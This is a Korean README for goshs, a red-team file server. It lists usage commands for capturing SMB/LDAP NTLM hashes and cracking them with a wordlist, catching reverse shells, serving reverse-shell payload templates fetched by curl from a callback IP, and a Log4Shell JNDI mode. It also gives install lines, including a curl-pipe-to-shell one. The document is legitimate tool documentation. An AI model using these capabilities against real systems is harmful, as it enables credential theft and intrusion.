
레드 팀원과 개발자를 위한 풍부한 기능을 갖춘 단일 바이너리 파일 서버. HTTP/S · WebDAV · FTP/SFTP · SMB · LDAP/S · NTLM hash capture · DNS/SMTP callbacks · TLS · Auth · Share links. 강력한 python3 -m http.server 대체품.
작전 중간에 있습니다. 파일을 전송하거나, SMB 해시를 캐치하거나, 빠른 HTTPS 서버를 올려야 할 때 — python3 -m http.server로는 부족합니다.
goshs는 Python의 SimpleHTTPServer보다 더 많은 것을 필요로 하지만 Apache를 설정하고 싶지 않은 순간을 위해 만들어진 단일 바이너리 파일 서버입니다. HTTP/S, WebDAV, FTP/SFTP, SMB, LDAP/S, 기본 인증, 공유 링크, DNS/SMTP 콜백, NTLM 해시 캡처 + 크래킹 — 모두 하나의 명령으로 처리합니다.


직접 사용해 보세요: demo.goshs.de

# 현재 디렉터리를 8000 포트로 서비스
goshs
# HTTPS(자체 서명) 및 기본 인증으로 서비스
goshs -s -ss -b user:password
# SMB 해시 캡처
goshs -smb -smb-domain CORP
# LDAP 자격 증명 및 NTLM 해시 캡처 (선택적 워드리스트 크래킹 포함)
goshs -ldap
goshs -ldap -ldap-wordlist /usr/share/wordlists/rockyou.txt
# DNS 콜백 캐치 및 이메일 수신
goshs -dns -dns-ip 1.2.3.4 -smtp -smtp-domain your-domain.com
# 2시간 후 자체 파괴
goshs --ttl 2h
# 대화형 터미널 대시보드로 실행 (헤드리스 SSH 세션에 적합)
goshs --tui
# 다운로드 시 콜백 호스트/포트가 자동으로 입력되는 페이로드 제공
goshs -i 10.10.14.7 --template --tpl-var LPORT=4444
# 렌더링 가져오기: curl 'http://10.10.14.7:8000/rev.ps1?tpl'
자세한 문서는 docs.goshs.de에서 확인하세요.
goshs는 bash, fish, zsh에 대한 탭 완성을 설치할 수 있습니다:
goshs --completion bash
goshs --completion fish
goshs --completion zsh
macOS에서 Homebrew를 사용하는 경우 올바른 Homebrew 경로가 자동으로 사용됩니다. 설치 후 명령어는 정확한 활성화 지침을 출력합니다. 예:
source ~/.local/share/bash-completion/completions/goshs
번들된 웹 에셋은 커밋되어 있으므로 일반 빌드가 바로 작동합니다:
git clone https://github.com/goshs-labs/goshs.git
cd goshs
go build -o goshs .
JavaScript 또는 SCSS 소스를 변경한 경우, esbuild와 sass가 설치된 상태에서 먼저 에셋을 다시 빌드하세요:
make generate
go build -o goshs .
다음은 goshs를 더욱 안전하게 만들어 주신 멋진 기여자들입니다 ❤️
Discord 커뮤니티에 가입하고 연결을 시작하세요.
이 프로젝트에 영감을 주신 sc0tfree님과 그의 Python 프로젝트 updog에 특별한 감사를 전합니다.
| 📁 파일 작업 | 다운로드 (HTTP Range로 이어받기 및 탐색 가능), 업로드 (드래그 앤 드롭, POST/PUT), 삭제, 대량 ZIP, QR 코드 |
| 🔌 프로토콜 | HTTP/S, WebDAV, FTP/SFTP, SMB, LDAP/S |
| 🔒 인증 및 보안 | 기본 인증, 인증서 인증, TLS (자체 서명, Let's Encrypt, 사용자 정의 인증서), IP 화이트리스트, 파일 기반 ACL |
| ⚙️ 서버 모드 | 읽기 전용, 업로드 전용, 삭제 불가, 무음, 보이지 않음, CLI 명령 실행, TTL 자체 파괴 |
| 🔗 공유 링크 | 토큰 기반 공유, 다운로드 제한, 시간 제한 |
| 🎯 협업 / CTF | DNS 서버, SMTP 서버, SMB NTLM 해시 캡처 + 크래킹, LDAP 자격 증명 캡처 + NTLM 해시 크래킹 (Log4Shell용 JNDI 모드), 리디렉션 엔드포인트, Rev Shell Catcher + 페이로드 생성기 |
| 🧩 페이로드 템플릿 | {{.LHOST}}/{{.LPORT}} + 사용자 정의 --tpl-var 값을 요청 시 (?tpl) 제공 파일에 렌더링 |
| 🔔 통합 | 웹훅, localhost.run을 통한 터널, 설정 파일, JSON API, mDNS |
| 🖥️ TUI 대시보드 | 대화형 전체 화면 터미널 대시보드; HTTP, DNS, SMB, LDAP, SMTP, 리버스 셸, 클립보드용 실시간 패널; 터미널에서 셸 연결 및 업그레이드 |
| 🛠️ 기타 | 다크/라이트 테마, 클립보드, 자체 업데이트, 로그 출력, 파일 임베드, 권한 하락 |
| 방법 |
|---|
| 🐧 curl | sh | curl -sSfL https://goshs.de/install.sh | sh |
| 🦫 Go | go install goshs.de/goshs/v2@latest |
| 🐉 Kali & Parrot OS | sudo apt install goshs |
| 🎗️ Arch Linux (AUR) | yay -S goshs-bin |
| 🖤 BlackArch | pacman -S goshs |
| 🏔️ Alpine Linux (edge) | apk add goshs |
| 🫙 Snap | snap install goshs |
| 🎩 Fedora / RHEL (COPR) | dnf copr enable goshs-labs/goshs && dnf install goshs |
| 🦎 openSUSE | sudo zypper install goshs |
| ❄️ Nix / NixOS | nix-env -iA nixpkgs.goshs |
| 🍺 Homebrew | brew install goshs |
| 🪟 Scoop | scoop bucket add extras && scoop install extras/goshs |
| 🪟 winget | winget install GoshsLabs.Goshs |
| 🍫 Chocolatey | choco install goshs |
| 🐳 Docker | docker run --rm -it -p 8000:8000 -v "$PWD:/pwd" goshs-labs/goshs:latest -d /pwd |
| 📦 릴리즈 | GitHub 릴리즈에서 다운로드 |
![]() | ![]() | ![]() | ![]() | ![]() | ![]() | ![]() | ![]() | ![]() | wooseokdotkim | Guilhem7 |